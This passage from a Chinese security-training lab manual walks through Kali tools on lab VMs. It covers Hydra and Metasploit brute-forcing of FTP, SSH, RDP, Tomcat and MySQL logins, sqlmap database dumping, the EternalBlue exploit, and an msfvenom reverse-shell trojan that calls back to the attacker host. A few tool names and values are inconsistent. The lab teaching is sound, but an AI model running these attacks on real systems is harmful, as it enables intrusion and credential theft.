  • -vV 详细显示用户名或者密码的破解过程
  1. 用法
1
hydra 可选参数+必选参数+攻击地址+攻击类型
  1. 举例:使用hydra尝试爆破FTP服务器账号密码

    • 先在kali终端中尝试登录FTP服务器,看服务是否正常
1
ftp <target\_ip>
  • 查看本地的字典文件
1
cat /usr/share/wordlists/rockyou.txt
  • 加载本地的密码文件来进行爆破
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target\_ip>
  • 使用爆破的密码进行登录
1
ftp <target\_ip>
  1. 其它的一些破解类型

    • 使用hydra破解SSH的密码
1
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
  • 破解HTTPS
1
hydra -m /index.php -l username -P pass.txt IP https
  • 破解Teamspeak
1
hydra -l 用户名 - P 密码字典 - s 端口号 - vV ip teamspeak
  • 破解Cisco
1
2
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
  • 破解SMB
1
hydra -l administrator -P pass.txt IP smb
  • 破解POP3
1
hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解RDP
1
hydra IP rdp -l administrator -P pass.txt -V
  • 破解HTTP-Proxy
1
hydra -l admin -P pass.txt http-proxy://10.36.16.18
  • 破解Telnet
1
hydra IP telnet -l 用户 - P 密码字典 - t 32 -s 23 -e ns -f –V

实验总结

掌握使用Hydra来爆破常见的服务

实验 30 黑客安防工具-Masscan

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Masscan工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

  • Kali 2016
  • Windows 7

实验工具

  • Masscan

实验目的

了解掌握masscan工具的使用和语法

实验步骤

Masscan的基本使用

  1. 在终端输入以下命令启动Masscan:

    1
    masscan
  2. 详细参数含义:

    • -p 指定端口进行扫描
    • --banners 获取banner信息,支持少量的协议
    • --rate 指定发包的速率
    • -c, --conf 读取配置文件进行扫描
    • --echo 将当前的配置重定向到一个配置文件中
    • -e, --adapter 指定用来发包的网卡接口名称
    • --adapter-ip 指定发包的IP地址
    • --adapter-port 指定发包的源端口
    • --adapter-mac 指定发包的源MAC地址
    • --router-mac 指定网关的MAC地址
    • --exclude IP地址范围黑名单,防止masscan扫描
    • --excludefile 指定IP地址范围黑名单文件
    • --includefile, -iL 读取一个范围列表进行扫描
    • --ping 扫描应该包含ICMP回应请求
    • --append-output 以附加的形式输出到文件
    • --iflist 列出可用的网络接口,然后退出
    • --retries 发送重试的次数,以1秒为间隔
    • --nmap 打印与nmap兼容的相关信息
    • --http-user-agent 设置user-agent字段的值
    • --show [open,close] 告诉要显示的端口状态,默认是显示开放端口
    • --noshow [open,close] 禁用端口状态显示
    • --pcap 将接收到的数据包以libpcap格式存储
    • --regress 运行回归测试,测试扫描器是否正常运行
    • --ttl 指定传出数据包的TTL值,默认为255
    • --wait 指定发送完包之后的等待时间,默认为10秒
    • --offline 没有实际的发包,主要用来测试开销
    • -sL 不执行扫描,主要是生成一个随机地址列表
    • --readscan 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式
    • --connection-timeout 抓取banners时指定保持TCP连接的最大秒数,默认是30秒
  3. 示例命令:

    1
    masscan –p21,80,81,8080 192.168.163.0/24 --rate=10000

    扫描指定21, 80, 81, 8080端口的192.168.163.0网段,以每秒10000个包的速率。

扫描指定IP文件中的地址

IP地址范围有三种有效格式:

  1. 单独的IPv4地址

  2. 类似”10.0.0.1-10.0.0.233”的范围地址

  3. CIDR地址,类似于”0.0.0.0/0”,多个目标可以用逗号隔开

  4. 扫描ip.txt中IP从1-1000端口并获取banner信息,发包速率为10000:

    1
    masscan -p1-1000 --rate=10000 --banners -iL ip.txt

实验总结

掌握Masscan扫描工具的使用,对比其它的扫描软件的优势所在。

实验 31 注入工具-Sqlmap

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 Kali 2016
靶机 Windows 7 + mysqltest

实验工具

Sqlmap

实验目的

掌握sqlmap软件用法

实验步骤

使用Sqlmap进行SQL注入攻击

  1. 访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25

  2. 在终端中启动sqlmap:

    1
    sqlmap
  3. 使用sqlmap检测URL是否存在注入:

    1
    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25"
  4. 如果存在注入,使用参数--tables列出表名:

    1
    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" --tables
  5. 列出指定数据库中表名和列:

    1
    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --columns
  6. 跑出指定数据库中的数据:

    1
    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --dump
  7. 跑出admin的哈希值:

    1
    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T admin\_table --dump

实验总结

Sqlmap是注入非常强大的工具,需要熟练掌握其使用方法。

实验 32 数据库评估-Sqlsus

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlsus工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 Kali 2016
靶机 Windows 7 + mysqltest

实验工具

Sqlsus

实验目的

掌握常用的数据库评估软件用法

实验步骤

使用Sqlsus进行数据库评估

  1. 访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25

  2. 在终端输入以下命令启动Sqlsus:

    1
    sqlsus
  3. 生成配置文件:

    1
    sqlsus --wizard
  4. 修改生成的配置文件,定位到url_start,输入需要检测的URL地址。

  5. 启动Sqlsus,使用start发起获取数据库信息:

    1
    sqlsus -config-file path/to/config/file.conf --url-start
  6. 可以使用help查看更多命令。

  7. 获取表:

    1
    sqlsus -config-file path/to/config/file.conf --get tables
  8. 获取表中的列名:

    1
    sqlsus -config-file path/to/config/file.conf --get columns
  9. 获取admin表的内容:

    1
    sqlsus -config-file path/to/config/file.conf --dump "select \* from admin"

实验总结

掌握Sqlsus软件的使用。

实验 33 网络嗅探-Tcpdump

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Tcpdump工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

tcpdump

实验目的

使用tcpdump工具捕获数据包

实验步骤

  1. 直接启动tcpdump将监视第一个网络接口上所有流过的数据包

    1
    tcpdump
  2. 指定网络接口进行抓包

    1
    tcpdump -i eth0
  3. 监听指定主机或ip地址的数据包

    1
    tcpdump host 192.168.1.1
  4. 监听主机或ip所发送的所有数据包

    1
    tcpdump src host 192.168.1.1
  5. 监听主机或ip所接收的所有数据包

    1
    tcpdump dst host 192.168.1.1
  6. 监听指定主机或ip地址之间的数据包

    1
    tcpdump src host 192.168.1.1 and dst host 192.168.1.2

再开一个终端,ping本机的网关,我们需要通过tcpdump工具进行抓包

参数详解

  • -a:尝试将网络和广播地址转换成名称;
  • -c <数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;
  • -d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;
  • -dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;
  • -ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;
  • -e:在每列倾倒资料上显示连接层级的文件头;
  • -f:用数字显示网际网络地址;
  • -F <表达文件>:指定内含表达方式的文件;
  • -i <网络界面>:使用指定的网络截面送出数据包;
  • -l:使用标准输出列的缓冲区;
  • -n:不把主机的网络地址转换成名字;
  • -N:不列出域名;
  • -O:不将数据包编码最佳化;
  • -p:不让网络界面进入混杂模式;
  • -q:快速输出,仅列出少数的传输协议信息;
  • -r <数据包文件>:从指定的文件读取数据包数据;
  • -s <数据包大小>:设置每个数据包的大小;
  • -S:用绝对而非相对数值列出TCP关联数;
  • -t:在每列倾倒资料上不显示时间戳记;
  • -tt:在每列倾倒资料上显示未经格式化的时间戳记;
  • -T <数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;
  • -v:详细显示指令执行过程;
  • -vv:更详细显示指令执行过程;
  • -x:用十六进制字码列出数据包资料;
  • -w <数据包文件>:把数据包数据写入指定的文件。

实验总结

使用Tcpdump抓取特定的协议报文

实验34 MS17_010漏洞复现

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器复现MS17_010漏洞,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 kali 2018 ip地址:192.168.163.152
靶机 windows 7 ip地址:192.168.163.134

实验工具

实验目的

metasploit利用ms17_010去攻击靶机

实验步骤

  1. 在kali终端中输入msfconsole启动metasploit

    1
    msfconsole
  2. 启动后搜索漏洞相关的模块

    1
    search ms17\_010
  3. 先利用扫描模块对win 7 靶机进行扫描,检测看是否存在漏洞

    1
    use auxiliary/scanner/smb/smb\_ms17\_010
  4. 使用该模块后设置目标IP或者IP段

    1
    set RHOSTS 192.168.163.134
  5. 执行扫描

    1
    run
  6. 使用ms17_010漏洞模块对靶机进行攻击

    1
    use exploit/windows/smb/ms17\_010\_eternalblue
  7. 查看可设置的选项

    1
    show options
  8. 设置靶机目标ip

    1
    set RHOST 192.168.163.134
  9. 执行攻击

    1
    run

实验总结

因为MS17_010是近几年新爆出的漏洞,所以还有很多用户没有升级打补丁,在内网可以进行检测看还有没有主机存在漏洞

实验35 Web应用指纹识别器-Whatweb

实验场景

小明是网络工程师,某

天他收到上级领导命令,需要在kali服务器使用Whatweb工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016 192.168.21.128

实验工具

whatweb

实验目的

掌握whatweb的使用

实验步骤

  1. 在终端直接启动whatweb软件

    1
    whatweb
  2. 查看whatweb版本号

    1
    whatweb --version
  3. 查看有哪些可用的插件

    1
    whatweb --l
  4. 使用whatweb识别网站的指纹

    1
    whatweb --target http://www.baidu.com
  5. 对当个目标进行简单的探测

    1
    whatweb http://127.0.0.1

实验总结

掌握使用Whatweb对web服务器进行嗅探测试

实验 36 端口扫描之-Nmap

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136

实验工具

Nmap

实验目的

掌握nmap端口扫描

实验步骤

  1. 查看kali自带nmap的版本号

    1
    nmap -V
  2. nmap的ping扫描本网段存活的主机(ip地址后面加掩码即扫描本网段)

    1
    nmap -sP 192.168.163.0/24
  3. nmap的SYN半开放扫描

    1
    nmap -sS 192.168.163.136/24
  4. nmap的TCP扫描

    1
    nmap -sT 192.168.163.136
  5. nmap扫描靶机所有开放端口

    1
    nmap -p- 192.168.163.136
  6. nmap扫描靶机特定端口 22 和 80 和 8080

    1
    nmap -p 22,80,8080 192.168.163.136
  7. nmap识别系统信息扫描

    1
    nmap -O 192.168.163.136
  8. nmap的批量扫描 - iL 从ip文本中导入扫描

    1
    nmap -sS -iL ip.txt

实验总结

区分NMAP不同参数的使用,牢记常用的参数

实验 37 服务枚举-Amap

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Amap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali
靶机:centos 6.9 ip地址:192.168.163.132

实验工具

zmap

实验目的

掌握amzp的使用

实验步骤

  1. 启动amap查看帮助信息

    1
    amap -b -q 192.168.163.132 22
  2. 还能设置端口的范围段

    1
    amap -b -q 192.168.163.132 1-100

实验总结

思考Amzp是获取服务器的banner来获取服务器的信息,能想到有什么劣势吗。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali上生成一个木马文件,当centos服务器上执行这个文件时,会反弹shell到kali上,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

实验工具

Metasploit
ftp

实验目的

使用metasploit生成木马文件,在centos执行文件时拿到shell

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性

    1
    ping 192.168.127.137 -c 4
  2. 在靶机centos上测试与kali的连通性

    1
    ping 192.168.127.138 -c 4
  3. 在kali上使用shell马

    1
    msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=192.168.127.138 LPORT=4444 -f elf > shell
  4. 启动msfconsole

  5. 在kali中启动监听

    1
    Run
  6. 通过ftp把生成的文件传到靶机上,在靶机上先给文件权限再运行文件

  7. 输入shell查看权限

    1
    Shell

实验总结

掌握使用kali下的metasploit生成木马文件,在centos执行文件时拿到shell

实验 39 通用密码生成器-Crunch

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Crunch工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016

实验工具

crunch

实验目的

掌握kali下crunch工具的使用

实验步骤

Crunch是一款密码生成工具,能按照要求生成一个密码文件,用于暴力破解。

  1. 在终端直接输入 crunch --h 查看 Crunch 帮助信息。

  2. 生成的密码格式为:crunch <min> <max> [options]。这里我们使用不添加任何参数来生成密码:

    1
    crunch 1 4

    这会生成最少位数为 1 位,最大为 4 位的密码,由 26 个小写字母组成。

  3. 把字典保存成txt文件:

    1
    crunch 1 4 -o passwd.txt
  4. 制作以 189 开头的手机号密码字典:

    1
    crunch 11 11 +0123456789 -t 188%%%%%%%% -o num.txt
  5. 生成六位数小写字母密码,其中前四位为 “pass”:

    1
    crunch 6 6 -t pass@@ -o passwd.txt
  6. 生成六位密码,其中前四位为 “pass”,后两位为大写字母:

    1
    crunch 6 6 -t pass,, -o passwd.txt
  7. 生成六位密码,其中前四位为 “pass”,后两位为字符:

    1
    crunch 6 6 -t pass^^ -o passwd.txt
  8. 生成 4 位密码,其中格式为“两个数字” + “一个小写字母” + “常见符号”(其中数字这里被指定只能为 123 组成的所有 2 位数字组合):

    1
    crunch 4 4 + + 123 + -t %%@^

实验总结

掌握使用 Crunch 生成指定类型的密码文件。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 xmas 扫描模块,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 xmas 模块来扫描靶机

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    1
    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    1
    msfconsole
  4. 使用 xmas 模块:

    1
    use auxiliary/scanner/portscan/xmas
  5. 查看其它选项:

    1
    show options
  6. 设置靶机地址:

    1
    set rhosts 192.168.127.139
  7. 设置线程为 20:

    1
    set threads 20
  8. 开始扫描:

    1
    run

实验总结

掌握 Metasploit 下的 xmas 扫描靶机实验。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 TCP 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 TCP 模块来扫描靶机

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    1
    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    1
    msfconsole
  4. 使用 TCP 模块:

    1
    use auxiliary/scanner/portscan/tcp
  5. 查看其它选项:

    1
    show options
  6. 设置靶机地址:

    1
    set rhosts 192.168.127.139
  7. 设置线程为 20:

    1
    set threads 20
  8. 开始扫描:

    1
    run

实验总结

掌握 Metasploit 下的使用 TCP 扫描。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 SYN 方式去进行扫描,为避免在部署时候出现什么问题,小明

首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 SYN 模块来扫描靶机

实验步骤

通过 SYN 方式对防火墙上未被屏蔽的端口进行探测。

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    1
    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    1
    msfconsole
  4. 使用 SYN 模块:

    1
    use auxiliary/scanner/portscan/syn
  5. 查看其它选项:

    1
    show options
  6. 设置靶机地址:

    1
    set rhosts 192.168.127.139
  7. 设置线程为 20:

    1
    set threads 20
  8. 开始扫描:

    1
    run

实验总结

观察使用 SYN 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 ACK 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 ACK 模块来扫描靶机

实验步骤

通过 ACK 方式对防火墙上未被屏蔽的端口进行探测。

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    1
    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    1
    msfconsole
  4. 使用 ACK 模块:

    1
    use auxiliary/scanner/portscan/ack
  5. 查看其它选项:

    1
    show options
  6. 设置靶机地址:

    1
    set rhosts 192.168.127.139
  7. 设置线程为 20:

    1
    set threads 20
  8. 开始扫描:

    1
    run

实验总结

观察当使用 ACK 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 metasploit 去爆破 Tomcat 的登录密码,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit, Tomcat

实验目的

使用 Metasploit 下的 tomcat 爆破模块对 Tomcat 账户进行爆破

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    1
    ping 192.168.127.137 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    1
    ping 192.168.127.138 -c 4
  3. 在 kali 上启动 Metasploit:

    1
    msfconsole
  4. 搜索有效的 Tomcat 模块:

    1
    search tomcat
  5. 这里选择使用模块 auxiliary/scanner/http/tomcat_mgr_login

    1
    use auxiliary/scanner/http/tomcat\_mgr\_login
  6. 查看 tomcat_mgr_login 模块有效选项:

    1
    show options
  7. 指定用户名和密码文件,这里使用默认路径:

    1
    2
    set user\_file /usr/share/metasploit-framework/data/wordlists/tomcat\_mgr\_default\_users.txt
    set pass\_file /usr/share/metasploit-framework/data/wordlists/tomcat\_mgr\_default\_pass.txt
  8. 指定要攻击的目标服务器:

    1
    set rhosts 192.168.127.137
  9. 设置服务器端口号为 8080:

    1
    set rport 8080
  10. 设置当渗透成功时停止:

    1
    set stop\_on\_success true
  11. 运行攻击爆破成功密码:

    1
    run

实验总结

掌握 Metasploit 下 tomcat 爆破方法的使用,对比 medusa 爆破速度上的区别。

实验 45 路由信息探测-Traceroute

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Traceroute 工具,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016

实验工具

traceroute

实验目的

了解路由的概念和工作原理,掌握 Linux 下探测路由工具 Traceroute 的使用方法。

实验步骤

  1. 路由是信息从源穿过网络传递到目的地的行为,在传播路径中至少经过一个中间节点。Traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 Traceroute 要测 3 次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其 IP 地址。

  2. 打开 Linux 终端,输入 traceroute,查看使用语法。

  3. 查看本机 IP 地址:

    1
    ifconfig
  4. 使用 Traceroute 来追踪本机的路由:

    1
    traceroute <本机IP>
  5. 把探测包的个数设置为值 8:

    1
    traceroute -q 8 <目标IP>
  6. 探测包使用的基本 UDP 端口设置为 6888:

    1
    traceroute -p 6888 <目标IP>
  7. 跳数设置:

    1
    traceroute -m 15 <目标IP>
  8. 把对外发探测包的等待响应时间设置为 3 秒:

    1
    traceroute -w 3 <目标IP>

实验总结

掌握使用 Traceroute 工具去探测路由信息。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SNMP 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit, SNMP

实验目的

在 Metasploit 中利用 SNMP 进行信息扫描。

实验步骤

  1. 在 Kali 终端中启动 Metasploit:

    1
    msfconsole
  2. 搜索当前系统内可用 SNMP 扫描模块:

    1
    search snmp
  3. 使用 SNMP 扫描模块:

    1
    use auxiliary/scanner/snmp/snmp\_enum
  4. 查看该模块的有效选项:

    1
    show options
  5. 设置扫描范围:

    1
    set RHOSTS 192.168.1.0/24
  6. 设置扫描线程:

    1
    set THREADS 10
  7. 使用 runexploit 开始运行扫描:

    1
    run

实验总结

在设置必选项目外其它的一些非必选项看看是什么意思。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 nmap 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

在 Metasploit 中利用 nmap 扫描端口。

实验步骤

  1. 在 Kali 终端中启动 Metasploit:

    1
    msfconsole
  2. 检查 Metasploit 数据库是否启动(Kali 需要手动启动 PostgreSQL 数据库):

    1
    db\_status
  3. 载入追踪者插件:

    1
    load db\_tracker
  4. 启动 nmap 扫描并将结果存进数据库:

    1
    db\_nmap –sV –O –v –T 5 192.168.1.0/24
  5. 查看扫描过的主机,可以看到已经识别出的操作系统:

    1
    hosts

实验总结

在 Metasploit 下的 nmap 扫描和在终端下的 nmap 扫描结果是否一样。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SSH 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

掌握 Metasploit 下 SSH 爆破模

块的使用。

实验步骤

  1. 在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:

    1
    ping 192.168.1.1 -c 4
  2. 使用命令搜索 SSH 登录相关的模块:

    1
    search ssh\_login
  3. 利用 SSH 爆破模块:

    1
    use auxiliary/scanner/ssh/ssh\_login
  4. 查看在该模块下需要设置的参数:

    1
    show options
  5. 根据提示使用 set 语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:

    1
    2
    3
    set RHOSTS 192.168.1.1
    set USER\_FILE /path/to/usernames.txt
    set PASS\_FILE /path/to/passwords.txt
  6. 发起攻击:

    1
    run
  7. 成功爆破得到 SSH 用户名和密码,进行结果验证:

    1
    ssh <target\_address>

实验总结

在 Metasploit 框架下的 SSH 爆破相比 Medusa 是否更具有优势。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 Telnet 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

掌握 Metasploit 下 Telnet 爆破模块的使用。

实验步骤

  1. 在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:

    1
    ping 192.168.1.1 -c 4
  2. 使用命令搜索 Telnet 登录相关的模块:

    1
    search telnet\_login
  3. 利用 Telnet 爆破模块:

    1
    use auxiliary/scanner/telnet/telnet\_login
  4. 查看在该模块下需要设置的参数:

    1
    show options
  5. 根据提示使用 set 语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:

    1
    2
    3
    set RHOSTS 192.168.1.1
    set USER\_FILE /path/to/usernames.txt
    set PASS\_FILE /path/to/passwords.txt
  6. 发起攻击:

    1
    run
  7. 成功爆破得到 Telnet 用户名和密码,进行结果验证:

    1
    telnet <target\_address>

实验总结

思考在设置爆破进程数的时候如何考虑进程大小。

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 MySQL 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

掌握 Metasploit 下 MySQL 爆破模块的使用。

实验步骤

  1. 在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:

    1
    ping 192.168.1.1 -c 4
  2. 使用命令搜索 MySQL 登录相关的模块:

    1
    search mysql\_login
  3. 利用 MySQL 爆破模块:

    1
    use auxiliary/scanner/mysql/mysql\_login
  4. 查看在该模块下需要设置的参数:

    1
    show options
  5. 根据提示使用 set 语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:

    1
    2
    3
    set RHOSTS 192.168.1.1
    set USER\_FILE /path/to/usernames.txt
    set PASS\_FILE /path/to/passwords.txt
  6. 发起攻击:

    1
    run
  7. 成功爆破得到 MySQL 用户名和密码,进行结果验证:

    1
    mysql -h <target\_address> -u <username> -p

实验总结

思考 MySQL 爆破日志,在数据库日志文件能不能查看。